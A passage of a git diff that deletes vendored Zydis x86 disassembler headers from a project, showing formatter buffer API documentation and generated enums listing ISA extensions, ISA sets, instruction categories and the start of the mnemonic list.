`ZydisFormatterBuffer` struct. - * @param token Receives a pointer to the current token. - * - * @return A zyan status code. - * - * This function returns `ZYAN_STATUS_INVALID_OPERATION`, if the buffer does not contain at least - * one token. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferGetToken(const ZydisFormatterBuffer* buffer, - ZydisFormatterTokenConst** token); - -/** - * Returns the `ZyanString` instance associated with the given buffer. - * - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param string Receives a pointer to the `ZyanString` instance associated with the given - * buffer. - * - * @return A zyan status code. - * - * This function returns `ZYAN_STATUS_INVALID_OPERATION`, if the buffer does not contain at least - * one token. - * - * The returned string always refers to the literal value of the current (most recently added) - * token and will remain valid until the buffer is destroyed. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferGetString(ZydisFormatterBuffer* buffer, - ZyanString** string); - -/** - * Appends a new token to the `buffer`. - * - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param type The type of the new token. - * - * @return A zyan status code. - * - * Note that the `ZyanString` instance returned by `ZydisFormatterBufferGetString` will - * automatically be updated by calling this function. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferAppend(ZydisFormatterBuffer* buffer, - ZydisTokenType type); - -/** - * Returns a snapshot of the buffer-state. - * - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param state Receives a snapshot of the buffer-state. - * - * @return A zyan status code. - * - * Note that the buffer-state is saved inside the buffer itself and thus becomes invalid as soon - * as the buffer gets overwritten or destroyed. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferRemember(const ZydisFormatterBuffer* buffer, - ZyanUPointer* state); - -/** - * Restores a previously saved buffer-state. - * - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param state The buffer-state to restore. - * - * @return A zyan status code. - * - * All tokens added after obtaining the given `state` snapshot will be removed. This function - * does NOT restore any string content. - * - * Note that the `ZyanString` instance returned by `ZydisFormatterBufferGetString` will - * automatically be updated by calling this function. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferRestore(ZydisFormatterBuffer* buffer, - ZyanUPointer state); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_FORMATTER_TOKEN_H */ diff --git a/src/Theodosius/Zydis/Generated/EnumISAExt.h b/src/Theodosius/Zydis/Generated/EnumISAExt.h deleted file mode 100644 index 6de33b7..0000000 --- a/src/Theodosius/Zydis/Generated/EnumISAExt.h +++ /dev/null @@ -1,98 +0,0 @@ -/** - * Defines the `ZydisISAExt` enum. - */ -typedef enum ZydisISAExt_ -{ - ZYDIS_ISA_EXT_INVALID, - ZYDIS_ISA_EXT_ADOX_ADCX, - ZYDIS_ISA_EXT_AES, - ZYDIS_ISA_EXT_AMD3DNOW, - ZYDIS_ISA_EXT_AMD3DNOW_PREFETCH, - ZYDIS_ISA_EXT_AMD_INVLPGB, - ZYDIS_ISA_EXT_AMX_BF16, - ZYDIS_ISA_EXT_AMX_INT8, - ZYDIS_ISA_EXT_AMX_TILE, - ZYDIS_ISA_EXT_AVX, - ZYDIS_ISA_EXT_AVX2, - ZYDIS_ISA_EXT_AVX2GATHER, - ZYDIS_ISA_EXT_AVX512EVEX, - ZYDIS_ISA_EXT_AVX512VEX, - ZYDIS_ISA_EXT_AVXAES, - ZYDIS_ISA_EXT_BASE, - ZYDIS_ISA_EXT_BMI1, - ZYDIS_ISA_EXT_BMI2, - ZYDIS_ISA_EXT_CET, - ZYDIS_ISA_EXT_CLDEMOTE, - ZYDIS_ISA_EXT_CLFLUSHOPT, - ZYDIS_ISA_EXT_CLFSH, - ZYDIS_ISA_EXT_CLWB, - ZYDIS_ISA_EXT_CLZERO, - ZYDIS_ISA_EXT_ENQCMD, - ZYDIS_ISA_EXT_F16C, - ZYDIS_ISA_EXT_FMA, - ZYDIS_ISA_EXT_FMA4, - ZYDIS_ISA_EXT_GFNI, - ZYDIS_ISA_EXT_INVPCID, - ZYDIS_ISA_EXT_KNC, - ZYDIS_ISA_EXT_KNCE, - ZYDIS_ISA_EXT_KNCV, - ZYDIS_ISA_EXT_LONGMODE, - ZYDIS_ISA_EXT_LZCNT, - ZYDIS_ISA_EXT_MCOMMIT, - ZYDIS_ISA_EXT_MMX, - ZYDIS_ISA_EXT_MONITOR, - ZYDIS_ISA_EXT_MONITORX, - ZYDIS_ISA_EXT_MOVBE, - ZYDIS_ISA_EXT_MOVDIR, - ZYDIS_ISA_EXT_MPX, - ZYDIS_ISA_EXT_PADLOCK, - ZYDIS_ISA_EXT_PAUSE, - ZYDIS_ISA_EXT_PCLMULQDQ, - ZYDIS_ISA_EXT_PCONFIG, - ZYDIS_ISA_EXT_PKU, - ZYDIS_ISA_EXT_PREFETCHWT1, - ZYDIS_ISA_EXT_PT, - ZYDIS_ISA_EXT_RDPID, - ZYDIS_ISA_EXT_RDPRU, - ZYDIS_ISA_EXT_RDRAND, - ZYDIS_ISA_EXT_RDSEED, - ZYDIS_ISA_EXT_RDTSCP, - ZYDIS_ISA_EXT_RDWRFSGS, - ZYDIS_ISA_EXT_RTM, - ZYDIS_ISA_EXT_SERIALIZE, - ZYDIS_ISA_EXT_SGX, - ZYDIS_ISA_EXT_SGX_ENCLV, - ZYDIS_ISA_EXT_SHA, - ZYDIS_ISA_EXT_SMAP, - ZYDIS_ISA_EXT_SMX, - ZYDIS_ISA_EXT_SNP, - ZYDIS_ISA_EXT_SSE, - ZYDIS_ISA_EXT_SSE2, - ZYDIS_ISA_EXT_SSE3, - ZYDIS_ISA_EXT_SSE4, - ZYDIS_ISA_EXT_SSE4A, - ZYDIS_ISA_EXT_SSSE3, - ZYDIS_ISA_EXT_SVM, - ZYDIS_ISA_EXT_TBM, - ZYDIS_ISA_EXT_TSX_LDTRK, - ZYDIS_ISA_EXT_VAES, - ZYDIS_ISA_EXT_VMFUNC, - ZYDIS_ISA_EXT_VPCLMULQDQ, - ZYDIS_ISA_EXT_VTX, - ZYDIS_ISA_EXT_WAITPKG, - ZYDIS_ISA_EXT_X87, - ZYDIS_ISA_EXT_XOP, - ZYDIS_ISA_EXT_XSAVE, - ZYDIS_ISA_EXT_XSAVEC, - ZYDIS_ISA_EXT_XSAVEOPT, - ZYDIS_ISA_EXT_XSAVES, - - /** - * Maximum value of this enum. - */ - ZYDIS_ISA_EXT_MAX_VALUE = ZYDIS_ISA_EXT_XSAVES, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_ISA_EXT_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ISA_EXT_MAX_VALUE) -} ZydisISAExt; diff --git a/src/Theodosius/Zydis/Generated/EnumISASet.h b/src/Theodosius/Zydis/Generated/EnumISASet.h deleted file mode 100644 index c04242c..0000000 --- a/src/Theodosius/Zydis/Generated/EnumISASet.h +++ /dev/null @@ -1,184 +0,0 @@ -/** - * Defines the `ZydisISASet` enum. - */ -typedef enum ZydisISASet_ -{ - ZYDIS_ISA_SET_INVALID, - ZYDIS_ISA_SET_ADOX_ADCX, - ZYDIS_ISA_SET_AES, - ZYDIS_ISA_SET_AMD, - ZYDIS_ISA_SET_AMD3DNOW, - ZYDIS_ISA_SET_AMX_BF16, - ZYDIS_ISA_SET_AMX_INT8, - ZYDIS_ISA_SET_AMX_TILE, - ZYDIS_ISA_SET_AVX, - ZYDIS_ISA_SET_AVX2, - ZYDIS_ISA_SET_AVX2GATHER, - ZYDIS_ISA_SET_AVX512BW_128, - ZYDIS_ISA_SET_AVX512BW_128N, - ZYDIS_ISA_SET_AVX512BW_256, - ZYDIS_ISA_SET_AVX512BW_512, - ZYDIS_ISA_SET_AVX512BW_KOP, - ZYDIS_ISA_SET_AVX512CD_128, - ZYDIS_ISA_SET_AVX512CD_256, - ZYDIS_ISA_SET_AVX512CD_512, - ZYDIS_ISA_SET_AVX512DQ_128, - ZYDIS_ISA_SET_AVX512DQ_128N, - ZYDIS_ISA_SET_AVX512DQ_256, - ZYDIS_ISA_SET_AVX512DQ_512, - ZYDIS_ISA_SET_AVX512DQ_KOP, - ZYDIS_ISA_SET_AVX512DQ_SCALAR, - ZYDIS_ISA_SET_AVX512ER_512, - ZYDIS_ISA_SET_AVX512ER_SCALAR, - ZYDIS_ISA_SET_AVX512F_128, - ZYDIS_ISA_SET_AVX512F_128N, - ZYDIS_ISA_SET_AVX512F_256, - ZYDIS_ISA_SET_AVX512F_512, - ZYDIS_ISA_SET_AVX512F_KOP, - ZYDIS_ISA_SET_AVX512F_SCALAR, - ZYDIS_ISA_SET_AVX512PF_512, - ZYDIS_ISA_SET_AVX512_4FMAPS_512, - ZYDIS_ISA_SET_AVX512_4FMAPS_SCALAR, - ZYDIS_ISA_SET_AVX512_4VNNIW_512, - ZYDIS_ISA_SET_AVX512_BF16_128, - ZYDIS_ISA_SET_AVX512_BF16_256, - ZYDIS_ISA_SET_AVX512_BF16_512, - ZYDIS_ISA_SET_AVX512_BITALG_128, - ZYDIS_ISA_SET_AVX512_BITALG_256, - ZYDIS_ISA_SET_AVX512_BITALG_512, - ZYDIS_ISA_SET_AVX512_GFNI_128, - ZYDIS_ISA_SET_AVX512_GFNI_256, - ZYDIS_ISA_SET_AVX512_GFNI_512, - ZYDIS_ISA_SET_AVX512_IFMA_128, - ZYDIS_ISA_SET_AVX512_IFMA_256, - ZYDIS_ISA_SET_AVX512_IFMA_512, - ZYDIS_ISA_SET_AVX512_VAES_128, - ZYDIS_ISA_SET_AVX512_VAES_256, - ZYDIS_ISA_SET_AVX512_VAES_512, - ZYDIS_ISA_SET_AVX512_VBMI2_128, - ZYDIS_ISA_SET_AVX512_VBMI2_256, - ZYDIS_ISA_SET_AVX512_VBMI2_512, - ZYDIS_ISA_SET_AVX512_VBMI_128, - ZYDIS_ISA_SET_AVX512_VBMI_256, - ZYDIS_ISA_SET_AVX512_VBMI_512, - ZYDIS_ISA_SET_AVX512_VNNI_128, - ZYDIS_ISA_SET_AVX512_VNNI_256, - ZYDIS_ISA_SET_AVX512_VNNI_512, - ZYDIS_ISA_SET_AVX512_VP2INTERSECT_128, - ZYDIS_ISA_SET_AVX512_VP2INTERSECT_256, - ZYDIS_ISA_SET_AVX512_VP2INTERSECT_512, - ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_128, - ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_256, - ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_512, - ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_128, - ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_256, - ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_512, - ZYDIS_ISA_SET_AVXAES, - ZYDIS_ISA_SET_AVX_GFNI, - ZYDIS_ISA_SET_BMI1, - ZYDIS_ISA_SET_BMI2, - ZYDIS_ISA_SET_CET, - ZYDIS_ISA_SET_CLDEMOTE, - ZYDIS_ISA_SET_CLFLUSHOPT, - ZYDIS_ISA_SET_CLFSH, - ZYDIS_ISA_SET_CLWB, - ZYDIS_ISA_SET_CLZERO, - ZYDIS_ISA_SET_CMOV, - ZYDIS_ISA_SET_CMPXCHG16B, - ZYDIS_ISA_SET_ENQCMD, - ZYDIS_ISA_SET_F16C, - ZYDIS_ISA_SET_FAT_NOP, - ZYDIS_ISA_SET_FCMOV, - ZYDIS_ISA_SET_FMA, - ZYDIS_ISA_SET_FMA4, - ZYDIS_ISA_SET_FXSAVE, - ZYDIS_ISA_SET_FXSAVE64, - ZYDIS_ISA_SET_GFNI, - ZYDIS_ISA_SET_I186, - ZYDIS_ISA_SET_I286PROTECTED, - ZYDIS_ISA_SET_I286REAL, - ZYDIS_ISA_SET_I386, - ZYDIS_ISA_SET_I486, - ZYDIS_ISA_SET_I486REAL, - ZYDIS_ISA_SET_I86, - ZYDIS_ISA_SET_INVPCID, - ZYDIS_ISA_SET_KNCE, - ZYDIS_ISA_SET_KNCJKBR, - ZYDIS_ISA_SET_KNCSTREAM, - ZYDIS_ISA_SET_KNCV, - ZYDIS_ISA_SET_KNC_MISC, - ZYDIS_ISA_SET_KNC_PF_HINT, - ZYDIS_ISA_SET_LAHF, - ZYDIS_ISA_SET_LONGMODE, - ZYDIS_ISA_SET_LZCNT, - ZYDIS_ISA_SET_MCOMMIT, - ZYDIS_ISA_SET_MONITOR, - ZYDIS_ISA_SET_MONITORX, - ZYDIS_ISA_SET_MOVBE, - ZYDIS_ISA_SET_MOVDIR, - ZYDIS_ISA_SET_MPX, - ZYDIS_ISA_SET_PADLOCK_ACE, - ZYDIS_ISA_SET_PADLOCK_PHE, - ZYDIS_ISA_SET_PADLOCK_PMM, - ZYDIS_ISA_SET_PADLOCK_RNG, - ZYDIS_ISA_SET_PAUSE, - ZYDIS_ISA_SET_PCLMULQDQ, - ZYDIS_ISA_SET_PCONFIG, - ZYDIS_ISA_SET_PENTIUMMMX, - ZYDIS_ISA_SET_PENTIUMREAL, - ZYDIS_ISA_SET_PKU, - ZYDIS_ISA_SET_POPCNT, - ZYDIS_ISA_SET_PPRO, - ZYDIS_ISA_SET_PREFETCHWT1, - ZYDIS_ISA_SET_PREFETCH_NOP, - ZYDIS_ISA_SET_PT, - ZYDIS_ISA_SET_RDPID, - ZYDIS_ISA_SET_RDPMC, - ZYDIS_ISA_SET_RDPRU, - ZYDIS_ISA_SET_RDRAND, - ZYDIS_ISA_SET_RDSEED, - ZYDIS_ISA_SET_RDTSCP, - ZYDIS_ISA_SET_RDWRFSGS, - ZYDIS_ISA_SET_RTM, - ZYDIS_ISA_SET_SERIALIZE, - ZYDIS_ISA_SET_SGX, - ZYDIS_ISA_SET_SGX_ENCLV, - ZYDIS_ISA_SET_SHA, - ZYDIS_ISA_SET_SMAP, - ZYDIS_ISA_SET_SMX, - ZYDIS_ISA_SET_SSE, - ZYDIS_ISA_SET_SSE2, - ZYDIS_ISA_SET_SSE2MMX, - ZYDIS_ISA_SET_SSE3, - ZYDIS_ISA_SET_SSE3X87, - ZYDIS_ISA_SET_SSE4, - ZYDIS_ISA_SET_SSE42, - ZYDIS_ISA_SET_SSE4A, - ZYDIS_ISA_SET_SSEMXCSR, - ZYDIS_ISA_SET_SSE_PREFETCH, - ZYDIS_ISA_SET_SSSE3, - ZYDIS_ISA_SET_SSSE3MMX, - ZYDIS_ISA_SET_SVM, - ZYDIS_ISA_SET_TBM, - ZYDIS_ISA_SET_TSX_LDTRK, - ZYDIS_ISA_SET_VAES, - ZYDIS_ISA_SET_VMFUNC, - ZYDIS_ISA_SET_VPCLMULQDQ, - ZYDIS_ISA_SET_VTX, - ZYDIS_ISA_SET_WAITPKG, - ZYDIS_ISA_SET_X87, - ZYDIS_ISA_SET_XOP, - ZYDIS_ISA_SET_XSAVE, - ZYDIS_ISA_SET_XSAVEC, - ZYDIS_ISA_SET_XSAVEOPT, - ZYDIS_ISA_SET_XSAVES, - - /** - * Maximum value of this enum. - */ - ZYDIS_ISA_SET_MAX_VALUE = ZYDIS_ISA_SET_XSAVES, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_ISA_SET_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ISA_SET_MAX_VALUE) -} ZydisISASet; diff --git a/src/Theodosius/Zydis/Generated/EnumInstructionCategory.h b/src/Theodosius/Zydis/Generated/EnumInstructionCategory.h deleted file mode 100644 index 755afbc..0000000 --- a/src/Theodosius/Zydis/Generated/EnumInstructionCategory.h +++ /dev/null @@ -1,117 +0,0 @@ -/** - * Defines the `ZydisInstructionCategory` enum. - */ -typedef enum ZydisInstructionCategory_ -{ - ZYDIS_CATEGORY_INVALID, - ZYDIS_CATEGORY_ADOX_ADCX, - ZYDIS_CATEGORY_AES, - ZYDIS_CATEGORY_AMD3DNOW, - ZYDIS_CATEGORY_AMX_TILE, - ZYDIS_CATEGORY_AVX, - ZYDIS_CATEGORY_AVX2, - ZYDIS_CATEGORY_AVX2GATHER, - ZYDIS_CATEGORY_AVX512, - ZYDIS_CATEGORY_AVX512_4FMAPS, - ZYDIS_CATEGORY_AVX512_4VNNIW, - ZYDIS_CATEGORY_AVX512_BITALG, - ZYDIS_CATEGORY_AVX512_VBMI, - ZYDIS_CATEGORY_AVX512_VP2INTERSECT, - ZYDIS_CATEGORY_BINARY, - ZYDIS_CATEGORY_BITBYTE, - ZYDIS_CATEGORY_BLEND, - ZYDIS_CATEGORY_BMI1, - ZYDIS_CATEGORY_BMI2, - ZYDIS_CATEGORY_BROADCAST, - ZYDIS_CATEGORY_CALL, - ZYDIS_CATEGORY_CET, - ZYDIS_CATEGORY_CLDEMOTE, - ZYDIS_CATEGORY_CLFLUSHOPT, - ZYDIS_CATEGORY_CLWB, - ZYDIS_CATEGORY_CLZERO, - ZYDIS_CATEGORY_CMOV, - ZYDIS_CATEGORY_COMPRESS, - ZYDIS_CATEGORY_COND_BR, - ZYDIS_CATEGORY_CONFLICT, - ZYDIS_CATEGORY_CONVERT, - ZYDIS_CATEGORY_DATAXFER, - ZYDIS_CATEGORY_DECIMAL, - ZYDIS_CATEGORY_ENQCMD, - ZYDIS_CATEGORY_EXPAND, - ZYDIS_CATEGORY_FCMOV, - ZYDIS_CATEGORY_FLAGOP, - ZYDIS_CATEGORY_FMA4, - ZYDIS_CATEGORY_GATHER, - ZYDIS_CATEGORY_GFNI, - ZYDIS_CATEGORY_IFMA, - ZYDIS_CATEGORY_INTERRUPT, - ZYDIS_CATEGORY_IO, - ZYDIS_CATEGORY_IOSTRINGOP, - ZYDIS_CATEGORY_KMASK, - ZYDIS_CATEGORY_KNC, - ZYDIS_CATEGORY_KNCMASK, - ZYDIS_CATEGORY_KNCSCALAR, - ZYDIS_CATEGORY_LOGICAL, - ZYDIS_CATEGORY_LOGICAL_FP, - ZYDIS_CATEGORY_LZCNT, - ZYDIS_CATEGORY_MISC, - ZYDIS_CATEGORY_MMX, - ZYDIS_CATEGORY_MOVDIR, - ZYDIS_CATEGORY_MPX, - ZYDIS_CATEGORY_NOP, - ZYDIS_CATEGORY_PADLOCK, - ZYDIS_CATEGORY_PCLMULQDQ, - ZYDIS_CATEGORY_PCONFIG, - ZYDIS_CATEGORY_PKU, - ZYDIS_CATEGORY_POP, - ZYDIS_CATEGORY_PREFETCH, - ZYDIS_CATEGORY_PREFETCHWT1, - ZYDIS_CATEGORY_PT, - ZYDIS_CATEGORY_PUSH, - ZYDIS_CATEGORY_RDPID, - ZYDIS_CATEGORY_RDPRU, - ZYDIS_CATEGORY_RDRAND, - ZYDIS_CATEGORY_RDSEED, - ZYDIS_CATEGORY_RDWRFSGS, - ZYDIS_CATEGORY_RET, - ZYDIS_CATEGORY_ROTATE, - ZYDIS_CATEGORY_SCATTER, - ZYDIS_CATEGORY_SEGOP, - ZYDIS_CATEGORY_SEMAPHORE, - ZYDIS_CATEGORY_SERIALIZE, - ZYDIS_CATEGORY_SETCC, - ZYDIS_CATEGORY_SGX, - ZYDIS_CATEGORY_SHA, - ZYDIS_CATEGORY_SHIFT, - ZYDIS_CATEGORY_SMAP, - ZYDIS_CATEGORY_SSE, - ZYDIS_CATEGORY_STRINGOP, - ZYDIS_CATEGORY_STTNI, - ZYDIS_CATEGORY_SYSCALL, - ZYDIS_CATEGORY_SYSRET, - ZYDIS_CATEGORY_SYSTEM, - ZYDIS_CATEGORY_TBM, - ZYDIS_CATEGORY_TSX_LDTRK, - ZYDIS_CATEGORY_UFMA, - ZYDIS_CATEGORY_UNCOND_BR, - ZYDIS_CATEGORY_VAES, - ZYDIS_CATEGORY_VBMI2, - ZYDIS_CATEGORY_VFMA, - ZYDIS_CATEGORY_VPCLMULQDQ, - ZYDIS_CATEGORY_VTX, - ZYDIS_CATEGORY_WAITPKG, - ZYDIS_CATEGORY_WIDENOP, - ZYDIS_CATEGORY_X87_ALU, - ZYDIS_CATEGORY_XOP, - ZYDIS_CATEGORY_XSAVE, - ZYDIS_CATEGORY_XSAVEOPT, - - /** - * Maximum value of this enum. - */ - ZYDIS_CATEGORY_MAX_VALUE = ZYDIS_CATEGORY_XSAVEOPT, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_CATEGORY_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_CATEGORY_MAX_VALUE) -} ZydisInstructionCategory; diff --git a/src/Theodosius/Zydis/Generated/EnumMnemonic.h b/src/Theodosius/Zydis/Generated/EnumMnemonic.h deleted file mode 100644 index 899efb8..0000000 --- a/src/Theodosius/Zydis/Generated/EnumMnemonic.h +++ /dev/null @@ -1,1643 +0,0 @@ -/** - * Defines the `ZydisMnemonic` enum. - */ -typedef enum ZydisMnemonic_ -{ - ZYDIS_MNEMONIC_INVALID, - ZYDIS_MNEMONIC_AAA, - ZYDIS_MNEMONIC_AAD, - ZYDIS_MNEMONIC_AAM, - ZYDIS_MNEMONIC_AAS, - ZYDIS_MNEMONIC_ADC, - ZYDIS_MNEMONIC_ADCX, - ZYDIS_MNEMONIC_ADD, - ZYDIS_MNEMONIC_ADDPD, - ZYDIS_MNEMONIC_ADDPS, - ZYDIS_MNEMONIC_ADDSD, - ZYDIS_MNEMONIC_ADDSS, - ZYDIS_MNEMONIC_ADDSUBPD, - ZYDIS_MNEMONIC_ADDSUBPS, - ZYDIS_MNEMONIC_ADOX, - ZYDIS_MNEMONIC_AESDEC, - ZYDIS_MNEMONIC_AESDECLAST, - ZYDIS_MNEMONIC_AESENC, - ZYDIS_MNEMONIC_AESENCLAST, - ZYDIS_MNEMONIC_AESIMC, - ZYDIS_MNEMONIC_AESKEYGENASSIST, - ZYDIS_MNEMONIC_AND, - ZYDIS_MNEMONIC_ANDN, - ZYDIS_MNEMONIC_ANDNPD, - ZYDIS_MNEMONIC_ANDNPS, - ZYDIS_MNEMONIC_ANDPD, - ZYDIS_MNEMONIC_ANDPS, - ZYDIS_MNEMONIC_ARPL, - ZYDIS_MNEMONIC_BEXTR, - ZYDIS_MNEMONIC_BLCFILL, - ZYDIS_MNEMONIC_BLCI, - ZYDIS_MNEMONIC_BLCIC, - ZYDIS_MNEMONIC_BLCMSK, - ZYDIS_MNEMONIC_BLCS, - ZYDIS_MNEMONIC_BLENDPD, - ZYDIS_MNEMONIC_BLENDPS, - ZYDIS_MNEMONIC_BLENDVPD, - ZYDIS_MNEMONIC_BLENDVPS, - ZYDIS_MNEMONIC_BLSFILL, - ZYDIS_MNEMONIC_BLSI, - ZYDIS_MNEMONIC_BLSIC, - ZYDIS_MNEMONIC_BLSMSK, - ZYDIS_MNEMONIC_BLSR, - ZYDIS_MNEMONIC_BNDCL, - ZYDIS_MNEMONIC_BNDCN, - ZYDIS_MNEMONIC_BNDCU, - ZYDIS_MNEMONIC_BNDLDX, - ZYDIS_MNEMONIC_BNDMK, - ZYDIS_MNEMONIC_BNDMOV, - ZYDIS_MNEMONIC_BNDSTX, - ZYDIS_MNEMONIC_BOUND, - ZYDIS_MNEMONIC_BSF, - ZYDIS_MNEMONIC_BSR, - ZYDIS_MNEMONIC_BSWAP, - ZYDIS_MNEMONIC_BT, - ZYDIS_MNEMONIC_BTC, - ZYDIS_MNEMONIC_BTR, - ZYDIS_MNEMONIC_BTS, - ZYDIS_MNEMONIC_BZHI, - ZYDIS_MNEMONIC_CALL, - ZYDIS_MNEMONIC_CBW, - ZYDIS_MNEMONIC_CDQ, - ZYDIS_MNEMONIC_CDQE, - ZYDIS_MNEMONIC_CLAC, - ZYDIS_MNEMONIC_CLC, - ZYDIS_MNEMONIC_CLD, - ZYDIS_MNEMONIC_CLDEMOTE, - ZYDIS_MNEMONIC_CLEVICT0, - ZYDIS_MNEMONIC_CLEVICT1, - ZYDIS_MNEMONIC_CLFLUSH, - ZYDIS_MNEMONIC_CLFLUSHOPT, - ZYDIS_MNEMONIC_CLGI, - ZYDIS_MNEMONIC_CLI, - ZYDIS_MNEMONIC_CLRSSBSY, - ZYDIS_MNEMONIC_CLTS, - ZYDIS_MNEMONIC_CLWB, - ZYDIS_MNEMONIC_CLZERO, - ZYDIS_MNEMONIC_CMC, - ZYDIS_MNEMONIC_CMOVB, - ZYDIS_MNEMONIC_CMOVBE, - ZYDIS_MNEMONIC_CMOVL, - ZYDIS_MNEMONIC_CMOVLE, - ZYDIS_MNEMONIC_CMOVNB, - ZYDIS_MNEMONIC_CMOVNBE, - ZYDIS_MNEMONIC_CMOVNL, - ZYDIS_MNEMONIC_CMOVNLE, - ZYDIS_MNEMONIC_CMOVNO, - ZYDIS_MNEMONIC_CMOVNP, - ZYDIS_MNEMONIC_CMOVNS, - ZYDIS_MNEMONIC_CMOVNZ, - ZYDIS_MNEMONIC_CMOVO, - ZYDIS_MNEMONIC_CMOVP, - ZYDIS_MNEMONIC_CMOVS, - ZYDIS_MNEMONIC_CMOVZ, - ZYDIS_MNEMONIC_CMP, - ZYDIS_MNEMONIC_CMPPD, - ZYDIS_MNEMONIC_CMPPS, - ZYDIS_MNEMONIC_CMPSB, - ZYDIS_MNEMONIC_CMPSD, - ZYDIS_MNEMONIC_CMPSQ, - ZYDIS_MNEMONIC_CMPSS, - ZYDIS_MNEMONIC_CMPSW, - ZYDIS_MNEMONIC_CMPXCHG, - ZYDIS_MNEMONIC_CMPXCHG16B, - ZYDIS_MNEMONIC_CMPXCHG8B, - ZYDIS_MNEMONIC_COMISD, - ZYDIS_MNEMONIC_COMISS, - ZYDIS_MNEMONIC_CPUID, - ZYDIS_MNEMONIC_CQO, - ZYDIS_MNEMONIC_CRC32, - ZYDIS_MNEMONIC_CVTDQ2PD, - ZYDIS_MNEMONIC_CVTDQ2PS, - ZYDIS_MNEMONIC_CVTPD2DQ, - ZYDIS_MNEMONIC_CVTPD2PI, - ZYDIS_MNEMONIC_CVTPD2PS, - ZYDIS_MNEMONIC_CVTPI2PD, - ZYDIS_MNEMONIC_CVTPI2PS, - ZYDIS_MNEMONIC_CVTPS2DQ, - ZYDIS_MNEMONIC_CVTPS2PD, - ZYDIS_MNEMONIC_CVTPS2PI, - ZYDIS_MNEMONIC_CVTSD2SI, - ZYDIS_MNEMONIC_CVTSD2SS, - ZYDIS_MNEMONIC_CVTSI2SD, - ZYDIS_MNEMONIC_CVTSI2SS, - ZYDIS_MNEMONIC_CVTSS2SD, - ZYDIS_MNEMONIC_CVTSS2SI, - ZYDIS_MNEMONIC_CVTTPD2DQ, - ZYDIS_MNEMONIC_CVTTPD2PI, - ZYDIS_MNEMONIC_CVTTPS2DQ, - ZYDIS_MNEMONIC_CVTTPS2PI, - ZYDIS_MNEMONIC_CVTTSD2SI, - ZYDIS_MNEMONIC_CVTTSS2SI, - ZYDIS_MNEMONIC_CWD, - ZYDIS_MNEMONIC_CWDE, - ZYDIS_MNEMONIC_DAA, - ZYDIS_MNEMONIC_DAS, - ZYDIS_MNEMONIC_DEC, - ZYDIS_MNEMONIC_DELAY, - ZYDIS_MNEMONIC_DIV, - ZYDIS_MNEMONIC_DIVPD, - ZYDIS_MNEMONIC_DIVPS, - ZYDIS_MNEMONIC_DIVSD, - ZYDIS_MNEMONIC_DIVSS, - ZYDIS_MNEMONIC_DPPD, - ZYDIS_MNEMONIC_DPPS, - ZYDIS_MNEMONIC_EMMS, - ZYDIS_MNEMONIC_ENCLS, - ZYDIS_MNEMONIC_ENCLU, - ZYDIS_MNEMONIC_ENCLV, - ZYDIS_MNEMONIC_ENDBR32, - ZYDIS_MNEMONIC_ENDBR64, - ZYDIS_MNEMONIC_ENQCMD, - ZYDIS_MNEMONIC_ENQCMDS, - ZYDIS_MNEMONIC_ENTER, - ZYDIS_MNEMONIC_EXTRACTPS, - ZYDIS_MNEMONIC_EXTRQ, - ZYDIS_MNEMONIC_F2XM1, - ZYDIS_MNEMONIC_FABS, - ZYDIS_MNEMONIC_FADD, - ZYDIS_MNEMONIC_FADDP, - ZYDIS_MNEMONIC_FBLD, - ZYDIS_MNEMONIC_FBSTP, - ZYDIS_MNEMONIC_FCHS, - ZYDIS_MNEMONIC_FCMOVB, - ZYDIS_MNEMONIC_FCMOVBE, - ZYDIS_MNEMONIC_FCMOVE, - ZYDIS_MNEMONIC_FCMOVNB, - ZYDIS_MNEMONIC_FCMOVNBE, - ZYDIS_MNEMONIC_FCMOVNE, - ZYDIS_MNEMONIC_FCMOVNU, - ZYDIS_MNEMONIC_FCMOVU, - ZYDIS_MNEMONIC_FCOM, - ZYDIS_MNEMONIC_FCOMI, - ZYDIS_MNEMONIC_FCOMIP, - ZYDIS_MNEMONIC_FCOMP, - ZYDIS_MNEMONIC_FCOMPP, - ZYDIS_MNEMONIC_FCOS, - ZYDIS_MNEMONIC_FDECSTP, - ZYDIS_MNEMONIC_FDISI8087_NOP, - ZYDIS_MNEMONIC_FDIV, - ZYDIS_MNEMONIC_FDIVP, - ZYDIS_MNEMONIC_FDIVR, - ZYDIS_MNEMONIC_FDIVRP, - ZYDIS_MNEMONIC_FEMMS, - ZYDIS_MNEMONIC_FENI8087_NOP, - ZYDIS_MNEMONIC_FFREE, - ZYDIS_MNEMONIC_FFREEP, - ZYDIS_MNEMONIC_FIADD, - ZYDIS_MNEMONIC_FICOM, - ZYDIS_MNEMONIC_FICOMP, - ZYDIS_MNEMONIC_FIDIV, - ZYDIS_MNEMONIC_FIDIVR, - ZYDIS_MNEMONIC_FILD, - ZYDIS_MNEMONIC_FIMUL, - ZYDIS_MNEMONIC_FINCSTP, - ZYDIS_MNEMONIC_FIST, - ZYDIS_MNEMONIC_FISTP, - ZYDIS_MNEMONIC_FISTTP, - ZYDIS_MNEMONIC_FISUB, - ZYDIS_MNEMONIC_FISUBR, - ZYDIS_MNEMONIC_FLD, - ZYDIS_MNEMONIC_FLD1, - ZYDIS_MNEMONIC_FLDCW, - ZYDIS_MNEMONIC_FLDENV, - 